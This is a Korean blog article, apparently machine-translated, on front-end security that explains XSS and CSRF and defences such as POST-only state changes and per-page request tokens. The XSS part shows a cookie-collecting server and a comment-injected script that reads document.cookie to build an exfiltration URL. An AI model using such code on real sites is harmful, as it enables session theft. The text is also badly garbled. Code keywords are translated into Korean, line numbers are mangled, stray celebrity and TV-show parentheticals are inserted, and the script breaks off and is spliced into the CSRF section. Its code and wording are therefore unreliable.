컴퓨터 지식 네트워크 - 컴퓨터 하드웨어 - 프런트 엔드 보안을 이해합니까? Xss 및 csrf 를 공방하는 방법

프런트 엔드 보안을 이해합니까? Xss 및 csrf 를 공방하는 방법

당시 사람들은 일반적으로 문자열을 접합하는 방식으로 동적 SQL 문을 구성하여 응용 프로그램을 만들었기 때문에 SQL 주입은 매우 유행하는 공격 방식이 되었다. 이 시대에 파라메트릭 조회는 이미 보편적인 용법이 되었으며, 우리는 SQL 주입에서 아직 멀었다. 그러나, 같은 오랜 역사를 가진 XSS 와 CSRF 는 우리에게서 멀지 않다. 나는 이전에 XSS 를 잘 알고 있었기 때문에 사용자가 입력한 데이터에 대해 매우 조심했다. 입력이 Tidy 에 의해 필터링되지 않으면 템플릿이 출력될 때 나는 반드시 모두 이스케이프할 것이다. 그래서 개인적으로는 XSS 를 피하는 것이 쉽다고 생각하는데, 관건은' 조심하라' 는 것이다. 하지만 최근에 또 다른 교차 사이트 공격, CSRF 에 대해 들었기 때문에 몇 가지 정보를 찾아 XSS 와 비교했습니다.

XSS: 대본 속 불청객

XSS 의 전체 이름은 "교차 사이트 스크립트" 이며 주입 공격입니다. 서버에 해를 끼치지 않고 일반적인 내부 상호 작용 채널 (예: 댓글 작성, 자바스크립트 포함 내용 텍스트 제출) 을 통해 특징적입니다. 이 시점에서 서버가 이러한 스크립트를 필터링하거나 이스케이프하지 않으면 페이지에 컨텐츠로 게시되고 다른 사용자가 이 페이지에 액세스할 때 실행됩니다.

예상치 못한 스크립트를 실행하면 많은 결과가 발생할 수 있습니다. 단순한 못된장난, 즉 닫을 수 없는 창일 수 있습니다.

1

2

셋;삼;3

While (참) {

알 버트 ("너는 나를 닫을 수 없다 ~");

}

해커 공격이나 기타 무단 작업일 수도 있습니다. 이 과정을 시뮬레이션하고 먼저 서버를 설치하여 정보를 수집합시다.

1

2

셋;삼;3

다섯;오;5

여섯;육

일곱

여덟;팔

아홉;구;9

10

1 1

12

13

14

15

16

17

18

19

20

2 1

22

23

24

#! /usr/bin/env 파이썬

#-*-인코딩: UTF-8 -*-

"""

사이트 간 스크립트 주입 정보 수집 서버

"""

수입병

App = 병. 병 ()

Plugin = bottle.ext.sqlite.plugin (dbfile ='/var/db/myxss.sqlite')

App.install (플러그인)

@app.route('/myxss/')

표시 정의 (쿠키, 데이터베이스):

Sql =' insert into "myxss" ("쿠키") 값 (? )'

시도:

Db.execute(SQL, 쿠키)

제외:

합격이다

반환 ""

If __name__ == "__main__ ":

App.run ()

그런 다음이 코드를 페이지의 설명에 삽입하십시오.

1

2

셋;삼;3

다섯;오;5

여섯;육

일곱

여덟;팔

아홉;구;9

10

1 1

12

13

14

15

16

//사용 < script type = "text/JavaScript" ></script > 포장하여 평론에 넣다

(기능 (창, 문서) {

//정보 유출 URL 을 구성합니다.

Var 쿠키 = document.cookie

Var xssuribase = "/BBS/create _ post.php? 제목 = 제목&; 내용 = 내용

그런 다음 포럼에 링크를 포함한 게시물만 보내면 됩니다.

/bbs/create_post.php? 제목 = 나는 바보 야&; 내용 = 하하

사용자가 이 링크를 클릭하기만 하면 그들의 계정은 모르는 사이에 이 게시물을 올릴 것이다. 못된장난 일 수도 있지만 게시 요청이 위조 될 수 있기 때문에 삭제, 전송, 암호 변경 및 메일 보내기를 위조 할 수 있습니다.

이 문제를 어떻게 해결할 수 있을까요? XSS 를 본받을 수 있을까요? 사용자 입력을 필터링하고 작업 웹 주소가 포함된 이 링크를 사이트에 게시하지 마십시오. 이것은 약간 유용할 수도 있지만 CSRF 를 막을 수는 없다. 공격자가 QQ 나 다른 웹 사이트를 통해 이 링크를 게시할 수 있고, bit.ly 압축 웹 주소를 사용하여 위장할 수도 있기 때문이다. 따라서 이 링크를 클릭하는 사용자는 여전히 당첨될 수 있다. (알버트 아인슈타인, Northern Exposure (미국 TV 드라마), 스포츠명언) 따라서 CSRF 에 대한 우리의 견해는 XSS 에 대한 우리의 견해와 달라야 합니다. CSRF 는 반드시 역내 입력이 있을 필요는 없다. 주입 공격에 속하지 않고 위조를 요청하기 때문이다. 위조된 요청은 어떤 출처에서든 올 수 있으며 반드시 역 내에 있는 것은 아니다. 따라서 요청을 필터링하는 처리기는 한 가지 방법밖에 없습니다.

문제는 요청을 어느 한 쪽에서 시작할 수 있고 다양한 방법으로 시작할 수 있기 때문에 iframe, Ajax (도메인 간, XSS 1 위) 및 Flash (항상 큰 위험 요소) 를 통해 요청을 시작할 수 있다는 점입니다. CSRF 를 완전히 없앨 수 있는 방법은 거의 없기 때문에, 우리의 일반적인 관행은 여러 가지 방법으로 공격의 문턱을 높이는 것이다.

올릴 수 있는 첫 번째 문턱은 역 내 API 의 설계를 개선하는 것이다. 게시물 게시와 같은 리소스를 만들려면 post 요청만 수락해야 하며, GET 요청은 서버측 리소스만 찾아보고 변경하지 않아야 합니다. 물론 가장 좋은 방법은 REST 스타일의 API 디자인을 사용하는 것입니다. GET, POST, PUT, DELETE 의 네 가지 요청 방법은 자원의 읽기, 작성, 수정, 삭제에 해당합니다. 이제 브라우저에서는 양식에서 PUT 및 DELETE 요청 메서드를 기본적으로 지원하지 않습니다. Ajax 를 사용하여 요청을 제출할 수 있습니다 (예: jquery-form 플러그인을 통해 가장 좋아하는 방법). 또는 숨겨진 필드를 사용하여 요청 방법을 지정한 다음 POST 를 사용하여 PUT 및 delete(Ruby on Rails 의 접근 방식) 를 시뮬레이션할 수 있습니다. 이렇게 서로 다른 자원 작업의 구분이 매우 명확하다. 우리는 문제 필드를 비GET 요청으로 좁혔다. 공격자는 더 이상 링크를 게시하여 요청을 위조할 수 없지만, 여전히 양식을 게시하거나 다른 사이트에서 육안으로 볼 수 없는 양식을 사용하여 백그라운드에서 js 작업을 사용하여 요청을 위조할 수 있다.

다음으로 CSRF 를 비교적 간단하고 효과적인 방법으로 방어할 수 있습니다. 이 방법은 "요청 토큰" 입니다. J2EE 핵심 모델을 본 학생은' 동기화 토큰' 에 익숙해야 한다. 요청 토큰과 동기화 토큰은 같은 원리이지만 목적은 다릅니다. 후자는 POST 요청이 반복적으로 제출되는 문제를 해결하기 위해 수신된 요청이 예상 페이지에서 온 것이어야 한다는 것을 보장하기 위한 것입니다. 실현 방법은 매우 간단하다. 먼저 서버측은 특정 정책에 따라 임의 문자열을 생성하여 세션에 토큰으로 저장해야 합니다. 그런 다음 요청을 보내는 페이지에서 토큰은 숨겨진 도메인으로 다른 정보와 함께 전송됩니다. 요청을 받는 페이지에서 수신된 정보의 토큰을 세션의 토큰과 비교하고, 일치하는 경우에만 요청을 처리합니다. 그렇지 않으면 HTTP 403 을 반환하여 요청을 거부하거나 사용자에게 인증을 다시 로그인하도록 요청합니다.

요청 토큰은 사용이 간단하지만 견고하지 않으며 부적절하게 사용하면 보안 위험이 증가합니다. 요청 토큰을 사용하여 CSRF 를 방지할 때 다음 사항에 유의하십시오.

요청 토큰의 원리는 인증 코드의 원리와 비슷하지만 인증 코드처럼 세션 키를 전역적으로 사용해서는 안 됩니다. 이론적으로 토큰을 요청하는 방법을 해독했기 때문에 해독 방법은 소스 페이지의 텍스트를 구문 분석하여 토큰 내용을 얻는 것입니다. 세션 키를 전역적으로 사용하면 위험 계수가 증가합니다. 원칙적으로 각 페이지의 요청 토큰은 별도의 세션 키에 배치해야 합니다. 서버를 디자인할 때, token toolkit 을 약간 포장하고, 페이지의 logo 를 키로 사용하여 세션에서 token 을 저장할 수 있습니다.

Ajax 기술이 널리 사용되는 경우 JavaScript 에 의해 시작되었기 때문에 정적 템플릿을 사용하여 토큰 값을 출력하는 것이 다소 불편합니다. 그러나 어쨌든 토큰 값을 직접 얻기 위해 API 를 제공하지 마십시오. 이것은 의심할 여지없이 문을 잠그는 것이지만, 열쇠를 문 앞에 두고, 우리의 요청 토큰을 동기화 토큰으로 퇴화시켰다.

첫째, 요청 토큰은 이론적으로 해독이 가능하기 때문에 매우 중요한 경우 인증 코드 (토큰의 업그레이드, 현재는 해독하기 매우 어렵다) 를 사용하거나 사용자가 비밀번호를 다시 입력하도록 해야 합니다 (아마존과 타오바오처럼). 그러나 두 방식 모두 사용자 경험이 좋지 않아 제품 개발자들은 무게를 달아야 한다.

일반 요청 토큰이든 인증 코드든, 서버는 반드시 검증 후 파기하는 것을 기억해야 한다. 사용한 토큰을 파괴하는 것을 잊는 것은 매우 저급하지만 치명적인 실수이다. 우리 학교의 수강 선택 시스템에 이 문제가 있어 인증코드를 다 쓰면 파괴하지 않는다. 따라서 인증 코드 그림을 한 번만 얻으면 세션이 시간 초과될 때까지 여러 번 요청할 때 인증 코드를 사용할 수 있습니다 (더 이상 인증 코드 그림을 새로 고치지 않는 한). 이것이 수강 선택 시스템에 인증 코드가 추가된 이유다. 플러그인 소프트웨어를 한 번 업그레이드한 후에도 여전히 막힘이 없다.

다음은 CSRF 를 효과적으로 예방할 수 있다고 하지만 실제로는 효과가 거의 없거나 효과가 없다고 하는 방법도 열거되어 있습니다.

Referer 를 통한 소스 페이지 결정: referer 는 HTTP 요청 헤더에서 요청 발신자에 의해 결정됩니다. 만약 내가 원한다면, 나는 referer 에게 어떤 값으로도 줄 수 있다. 물론 이런 방법도 소용없는 것은 아니며, 적어도 방백할 수 있다. 그러나 나는 가격 대비 성능이 토큰보다 못하다고 생각한다.

사용자가 게시한 모든 링크 필터링: 가장 비효율적인 방법입니다. 먼저 공격자는 사이트에서 요청을 시작할 필요가 없기 때문입니다 (위 참조). 사이트에서 요청을 시작하더라도 링크를 전혀 알지 못하기 때문입니다. 예를 들면

전반적으로, 현재 CSRF 를 방어하는 많은 방법들이 완전히 풀리지 않는 것은 아니다. 따라서 CSDN 에서 CSRF 를 논의하는 문장 중에는 일반적으로 이를 설명하는' 파렴치한' 이라는 단어가 포함되어 있습니다 (같은 이름을 가진 또 다른 단어는 DDOS 공격인 것 같습니다). 개발자로서 우리가 할 수 있는 것은 가능한 한 해독을 어렵게 만드는 것이다. 해독난이도가 어느 정도 되면 사이트는 절대 안전한 위치에 가까워진다. 제 생각에는 위의 토큰 요청 방법이 CSRF 원리와 비슷하기 때문에 가장 확장성이 높습니다. CSRF 는 방어가 어렵습니다. 서버에 있어서 위조된 요청은 본질적으로 정상적인 요청과 같기 때문입니다. 토큰을 요청하는 방법은 이 요청의 유일한 차이점을 찾아내는 것입니다. 소스 페이지가 다릅니다. 우리는 또한 페이지의 token 키를 동적으로 만들어 공격자의 문턱을 더욱 높이는 것과 같은 더 많은 일을 할 수 있다. (존 F. 케네디, Northern Exposure (미국 TV 드라마), 스포츠명언) 이 글은 나의 개인적인 이해의 총결산일 뿐, 너무 심도 있는 토론은 하지 않는다.

上篇: 베이징시 조양구 젠와이소호동구 A동 3층 307호는 무엇인가요? 下篇: 난징 ​​지하 스튜디오 세부정보
관련 내용